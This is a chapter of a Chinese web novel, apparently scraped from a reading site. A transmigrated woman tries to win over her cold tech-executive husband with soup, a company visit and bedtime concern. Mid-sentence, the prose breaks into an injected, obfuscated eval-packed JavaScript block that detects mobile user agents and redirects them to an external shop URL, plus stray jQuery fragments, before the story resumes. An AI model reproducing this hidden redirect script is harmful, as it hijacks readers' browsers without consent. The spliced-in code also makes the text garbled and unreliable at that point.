书房里很静。
门被敲了两下,吴姐推开门,侧身让端着托盘的少夫人进来。
苏穆往里瞄了一眼。
谢灼坐在书桌后,宝蓝色衬衣,领口敞着,袖口挽到小臂。低着头,修长的手指在键盘上敲击,屏幕的光映在脸上——那张脸冷白,和基地里被辐射晒透的那些男人比起来,像是两个物种。
房间里的温度冷得她后颈发凉。
“温度太低不好,容易受寒。”她想起日记本里写的。原主体质偏寒,对冷气格外敏感。
他皱眉。
他不喜欢工作的时候被打扰。
她等了两秒,见他没反对,偏头对吴姐说:“把空调调高两度。”
吴姐看向书桌后的少爷,他仍没抬头,吴姐便走去调了。
苏穆弯腰把托盘放到茶几上,绿豆汤的碗沿沁出一圈水露。她半蹲在茶几旁,他抬眼,目光落在她后颈——几缕碎发黏在颈侧,弯曲着。
他没来由想起那天他病发的晚上,他的头就是这样靠在她颈侧的。
温温润润。
“天热,喝点绿豆汤解暑。”她说。
他觉得可笑,他前些天就是喝了她端来的一杯水,差点当众出丑,她何来的自信觉得他还会吃她经手的东西?
是她蠢?还是她觉得自己蠢。
怎么,他转了钱给她,她就以为自己不计较她做过的事?
苏穆放下托盘,起身出去。刚走到门外,就听见他对吴姐说:“端出去。”
吴姐的声音:“夫人熬了好久的……”
“你喝吧。”
苏穆在门外站住。
手指攥紧,又松开。
这不是末世,不能靠拳头解决问题。
她想起白天从日记里学的那个词:事缓则圆。
她慢慢离开。
接下来,苏穆上午去参加培训,最近的烹饪课程多是她喜欢的,下午回来接着熬绿豆汤。
一周了。
她算了算,给他端过七次,他一口也没喝过。
她蹲在厨房角落里择菜,脑子里反复琢磨这事。是怕她下毒?原主确实有前科,可别人喝了都没事——他亲眼看着吴姐喝过,小云也喝过。她甚至当着他的面喝过一碗,喝完还朝他亮了亮碗底。
他看见了。没说话。
今天她终于亲眼看见了。
她去楼顶收衣服,有一件衣服被风吹了下去,她到后院捡拾,经过那棵梧桐树,看见他端着碗站在树下。手腕一倾,碧绿的液体哗地浇在树根上,几颗绿豆黏在树皮上,慢慢往下滑。
她站在廊下,攥紧了手里的衣架。
不喝可以。可不能浪费粮食!
你知道关键时刻,一碗绿豆能救一个人的命吗?你知道末世里为了一口粮食,要拿命去换吗?
她深吸一口气,转身回了屋。
不做了。
换个方式讨好他罢,她看不得浪费粮食。
谢灼冷冷地看着她离开,他看出她生气了。
细究起来,生气的人难道不应该是自己吗?
他上一次发病,他怀疑与她下的药有关。
第二天,苏穆又在早餐桌上提出了要去公司的事情。
没想到谢灼一口就答应了。
这多少有点出乎她的预料。
苏穆心头一喜,也顾不得周围佣人探究的眼神,胃口大开地比昨日多用了整整一倍的早餐。
【恭喜主人,初战告捷。】
苏穆听过一种说法——男女之间最快建立好感的方式是在床上。
然而在末世,她见惯了太多男女为了生存或利益随意纠缠、又轻易分离。那种基于本能与欲望的短暂联结,在她看来廉价又脆弱。
她不屑于此。
她更愿意用更体面、更真诚的方式去靠近一个人,去赢得一份发自内心的认可。
谢灼没再说话,瞟了一眼她高兴的脸,她靠在椅背上,沉默。
去公司?
他倒要看看,她想去公司做什么。
最近她的变化确实有点大。不去家里的服饰店拿衣服了,也不找老太太要珠宝首饰了。那些曾经能让她安静几天的东西,现在提都不提。
安静得有些反常。
窗外的绿意茂盛,他望着藤萝上面刚开的小花,半晌,收回视线。
——那就看看,她要做什么“大事”。
谢灼来到屿光科技,沈秘书上来报告今天的行程,确认事情。
“带少夫人在公司参观一下公司。”谢灼吩咐。
苏穆随沈秘书走出总裁办公室。
苏穆对沈秘书浅浅一笑:“叫我苏小姐就好。”
她不愿以“少夫人”的身份引来不必要的侧目与惊动,只想安静地看看他的公司,了解他的工作。
沈秘从善如流,侧身引路:“好的,苏小姐,这边请。”
所幸,原主来公司的次数也不多,除了谢灼身边两个秘书,别的人并不知晓她的身份。
屿光科技是国内游戏与应用领域数一数二的后起之秀。高耸入云的玻璃幕墙大楼,内部是充满科技感的设计,足以让每一个到访者心生赞叹。
员工们看到总经办秘书亲自陪同一位陌生女子,纷纷投来好奇的目光。
电梯门缓缓合上,隔绝了身影,一众科技精英们八卦起来:
“那位是谁?竟然劳烦沈秘亲自作陪?”
“虽然气质挺好,但相貌普通……不会是总裁的……”
“唉,到底是谁呀?什么身份呀?”
“难不成是哪家千金,想和咱家总裁大人联姻吗?”
苏穆乘坐的是总裁专属电梯,可抵达大楼任意楼层。她不由想起刚才那间拥有360度全景落地窗的办公室,谢灼每日便立于这城市之巅,俯瞰芸芸众生,那会是怎样一种心境?
沈秘书将她带到了核心展示厅。一个名为“心智图谱”的项目演示吸引了苏穆的注意。
那并非寻常游戏,而是一套通过游戏化交互,为自闭症儿童设计的精准干预与评估系统。屏幕上,一个孩子正通过鼠标进行简单的拖拽,与虚拟角色互动。
“这套系统能根据孩子的操作表现,在后台生成一份极其复杂的神经发育评估报告,为临床治疗提供关键参考。”沈秘书在一旁恭敬地低声解释,“谢总在立项时说,最好的游戏不应止于娱乐,而应成为医治精神的良药。”
尽管苏穆素来镇定,此刻心中也不由得轻吸一口气,眼底掠过一丝难以掩饰的惊异与佩服。
他不仅精通游戏与编程,更深谙心理学之妙。更难得的是,他能将心理学原理不着痕迹地融入游戏设计,再精准转化为可量化的数据模型与生动有趣的交互体验。
谢灼所做的,是一项真正的壮举——一次横跨技术、心理与艰深医学的跨界突破。
他确实是个天才。
可是想到上次他以她作为游戏人物,还给她下药,她就不怎么愉快了。
行程临近结束时,沈秘书将一台轻薄的笔记本递到苏穆手中,语气恭敬而客气:
“苏小姐,这里面有我们即将上市的新游戏《流浪的旅人》的Demo,若苏小姐有空体验,欢迎随时给我们反馈。”
“嗯,谢谢。”
此刻,苏穆被沈秘带到员工餐厅,她正坐在屿光科技的员工餐厅里。
她几乎要爱上这里的伙食。菜肴不限量,肉食不限量,米饭也是!若不是身份所限,她真想留在这家公司工作,哪怕做清洁工也行。
她吃得相当克制。
毕竟,若“总裁夫人在员工餐厅狼吞虎咽”的消息传开,引来众人围观她盘中堆成小山的饭菜,无论对谢灼的个人形象还是公司管理而言,都太失体面了。
到时谁会相信谢总没有虐待妻子,竟让她连饭都吃不饱,只能到员工餐厅来“放肆吃”?
谢灼对她的好感度会变成负值的。
幸好谢灼正在开会,她才能比在家里时,稍稍多吃了那么一点点。
谢灼结束会议,独自立在办公室的落地窗前,一手随意地揣在西裤口袋里。
沈秘来汇报工作。
看见总裁在窗前屹立不动,不禁第N次感叹,她的运气真是好。原本听说屿光科技的总裁冷酷不近人情,但为着高新她跳槽过来,进来才发现这里工作环境比先前的公司不知好多少倍,而传
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276853|198289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说中的不近人情的总裁是只针对那些出卖公司利益的人。
她深吸了口气,她觉得屿光科技很好,只要工作的事情做好薪资就会很高,还能日日见到这么年轻俊朗的老板,一定是自己前世做了不少好事了才能被屿光科技录取。
她将苏穆一上午的行程一一汇报。
参观公司,体验“心智图谱”,最后竟去了员工食堂用餐。
员工食堂……那样喧闹拥挤的地方。
他微微蹙眉。
与她结婚一年,她的性子,他自认了解几分。自幼在孤儿院长大,她骨子里藏着自卑,与他结婚后,那自卑却又迅速蜕变成一种莫名的自傲。她看不起家里的佣人,对公司员工更是不屑一顾,自觉总裁夫人的身份高人一等,极少踏足他的公司。
可今日,她竟主动要求前来,甚至坦然地在员工食堂用餐。
简直像……换了个人。
罢了,他挥手让沈秘离开。
他揉了揉眉心。
只要她安分,不惹出麻烦,随她去吧。
午后,他在公司小憩片刻,打开电脑准备继续工作,太阳穴却隐隐作痛。想到旧疾方愈,他决定提前回家。
苏穆自然与他同行。
虽有些不甚厚道,但苏穆心里盘算的,确实是留在谢灼身边便于随时观察他的病情。若他再次发作,她便能及时出手相助。
自然,也能借此赚取星光值。
不是,保护患者的安全,是医者的天职。
临睡前,她去卫生间,经过书房,见门缝下依旧透着灯光,犹豫片刻,还是敲响了门。
他独坐于电脑桌前,清冷慑人。
他硬朗利落的侧颜被暖光照着,鼻梁高挺,冷峻非常。他修长的指间夹着一支烟。
烟雾袅袅绕绕,隔开了他与她。
苏穆定定望着他。
猩红的火点在昏暗中明灭不定,微光跳动着映入他深不见底的黑眸。
男人默然着,将尚余半截的烟摁熄在水晶烟灰缸里。
“夜已深了,你早些歇息吧……”她轻声说道。
在她看来,病人最需充足的休息,尤其像他这样劳心费神又身患隐疾的人,更不该过度熬夜。根据她多年的行医经验,对许多慢性病而言,优质的睡眠远比药物的疗效好。
更何况,这份主动的关怀,或许能为她带来些许好感度的提升。
毕竟原主是从不会这般关心他的。
谢灼闻声抬眸。
只见她只着一件丝质吊带睡裙,慵懒地倚在门边。如云的发丝堪堪遮住身躯,却更衬得姿态随意,仿佛随时会泄了春光。
他沉默地合上电脑。
“请自重。”
苏穆一怔,低头看向自己,这才后知后觉地意识到衣着不妥。方才只顾着过来提醒,竟忘了换身得体的衣服。
他该不会以为……她是故意来引诱他的吧?
这误会可真是……
“我只是来提醒你休息。”她稳住心神,小心翼翼地看向他额头,还好,没有减分,她随即语气平静解释,“我问过医生,优质的睡眠对健康的恢复至关重要。”
解释完,她正欲转身离开,视线却不经意间扫过他手边的杂志。
封面女郎圆睁着一双妩媚的大眼,姿态娇娆,眼波流转。
苏穆蓦地愣在原地。
这女郎的相貌,她太熟悉。
“这本杂志……”她声音微紧,“可以让我拿走吗?”
谢灼瞥了她一眼,语气淡漠:“可以。”
她转身离开后,他仍坐在黑暗里。烟灰落下一截,掉入水晶的烟灰缸里。良久,他伸手拿起桌上的一本杂志,翻到封面女郎那一页,看了很久。
他也不知道自己在看什么。只觉得那种奇怪的感觉更甚了,那个人觉得他有病且腿脚有残疾,是嫌弃他的,她通常是避着他的,生怕自己碰她,更不会穿着吊带睡裙站在他门口,说“夜已深了,你早些歇息”。
那个人只会向谢家索取钱财,无休止的索取。
现在怎么变得这么奇怪,居然还会“关心”他?他把杂志合上,扔到一边。窗外夜色沉沉,什么也看不清。